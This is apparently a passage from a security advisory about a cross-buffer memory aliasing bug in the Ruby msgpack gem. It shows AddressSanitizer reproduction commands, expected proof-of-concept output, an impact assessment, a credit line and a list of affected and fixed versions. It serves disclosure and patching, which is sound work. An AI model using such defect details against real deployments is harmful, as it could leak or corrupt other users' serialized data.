    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

May 10, 2016

Activity

Reach

Details